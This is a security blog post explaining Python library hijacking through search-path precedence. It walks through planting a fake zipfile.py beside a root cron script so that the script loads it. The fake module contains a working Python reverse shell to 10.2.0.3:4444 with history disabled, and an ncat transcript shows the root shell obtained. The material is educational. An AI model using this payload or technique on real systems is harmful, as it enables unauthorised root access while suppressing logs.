Whilst debugging a Python script today, I found that I was unable to execute it, with the stack trace pointing back to the import of the requests library.
Traceback (most recent call last): File "enum.py", line 1, in <module> import requests File "/usr/local/lib/python2.7/dist-packages/requests/__init__.py", line 84, in <module> from urllib3.contrib import pyopenssl File "/usr/local/lib/python2.7/dist-packages/urllib3/contrib/pyopenssl.py", line 46, in <module> import OpenSSL.SSL File "/usr/lib/python2.7/dist-packages/OpenSSL/__init__.py", line 8, in <module> from OpenSSL import rand, crypto, SSL File "/usr/lib/python2.7/dist-packages/OpenSSL/rand.py", line 11, in <module> from OpenSSL._util import ( File "/usr/lib/python2.7/dist-packages/OpenSSL/_util.py", line 6, in <module> from cryptography.hazmat.bindings.openssl.binding import Binding File "/usr/local/lib/python2.7/dist-packages/cryptography/hazmat/bindings/openssl/binding.py", line 13, in <module> from cryptography.exceptions import InternalError File "/usr/local/lib/python2.7/dist-packages/cryptography/exceptions.py", line 7, in <module> from enum import Enum File "/home/rastating/enum.py", line 3, in <module> requests.get() AttributeError: 'module' object has no attribute 'get'
After a bit of following through, I found that as the script was named
enum.py, it was taking precedence over a module named
enum that the requests library was relying on / trying to import; thus creating a circular reference.
Further digging into this, revealed that Python has a list of search paths for its libraries; meaning there is an opportunity for privilege escalation depending on mis-configurations of the system and how it’s users are using it.
The paths that come configured out of the box on Ubuntu 16.04, in order of priority, are:
- Directory of the script being executed
For other distributions, run the command below to get an ordered list of directories:
python -c 'import sys; print "\n".join(sys.path)'
If any of these search paths are world writable, it will impose a risk of privilege escalation, as placing a file in one of these directories with a name that matches the requested library will load that file, assuming it’s the first occurrence.
For example, if we have a script that imports the
requests library, and the
requests library is stored in
/usr/local/lib/python2.7/dist-packages. If we create a new file named
requests.py and place it in any of the six directories that appear in the list above prior to
/usr/local/lib/python2.7/dist-packages, it would result in the successful hi-jacking of that library.
Realistically speaking, the chances of the default search paths being writable are slim, unless someone with root privileges took some horrible shortcuts (not completely unimaginable).
The more likely scenario, is that someone will place a frequently accessed script in a directory that is world writable and remove write access on the file from all other users.
This may seem OK on the face of it - but due to how Python is searching for libraries, this would open it up for a user to inject their own arbitrary Python code into the application.
For example, let’s say we have a web server, where
/var/www is owned by
www-data (not an unheard of configuration), which contains a
root owned backup script, which is executed every N minutes by a cron job:
$ whoami www-data $ ls -la . total 16 drwxr-xr-x 3 www-data www-data 4096 Sep 11 23:44 . drwxr-xr-x 15 root root 4096 Sep 11 23:40 .. -rw-r--r-- 1 root root 353 Sep 11 23:44 backup.py drwxr-xr-x 2 www-data www-data 4096 Sep 11 23:42 html $ cat backup.py #!/usr/bin/env python import os import zipfile def zipdir(path, ziph): for root, dirs, files in os.walk(path): for file in files: ziph.write(os.path.join(root, file)) if __name__ == '__main__': zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED) zipdir('/var/www/html', zipf) zipf.close()
As can be seen in the output above,
backup.py cannot be altered by the low privilege account,
www-data. However, as it is importing libraries (the
zipfile libraries to be specific), we can gain privilege escalation by hi-jacking one of these libraries.
If we wanted to gain remote access, we could create a new file, as
www-data in the same directory as
zipfile.py, with the following content:
import os import pty import socket lhost = "10.2.0.3" lport = 4444 ZIP_DEFLATED = 0 class ZipFile: def close(*args): return def write(*args): return def __init__(self, *args): return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close()
Within this file, we have the code to gain a reverse shell (taken from python-pty-shells), but also an additional dummy class and constant, to make the file compatible with the program that is calling it.
By adding the dummy class and constant, we ensure that no errors will be logged and that the calling program exits cleanly.
The next time the cron job runs,
backup.py will load our version of the
zipfile library, due to it appearing first in the search paths (as the current directory always comes first), and subsequently execute our payload with elevated privileges:
root@kali:~# ncat -v -l -p 4444 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: 0F4F BD69 EB85 CB0A 0663 CEDB 8A12 4110 CEDD 7412 Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.2.0.1. Ncat: Connection from 10.2.0.1:52898. root:/var/www# ls -la . ls -la . total 24 drwxr-xr-x 3 www-data www-data 4096 Sep 12 00:26 . drwxr-xr-x 15 root root 4096 Sep 11 23:40 .. -rw-r--r-- 1 root root 353 Sep 11 23:44 backup.py drwxr-xr-x 2 www-data www-data 4096 Sep 11 23:42 html -rw-r--r-- 1 www-data www-data 434 Sep 12 00:26 zipfile.py -rw-r--r-- 1 root root 1097 Sep 12 00:26 zipfile.pyc root:/var/www# id id uid=0(root) gid=0(root) groups=0(root) root:/var/www#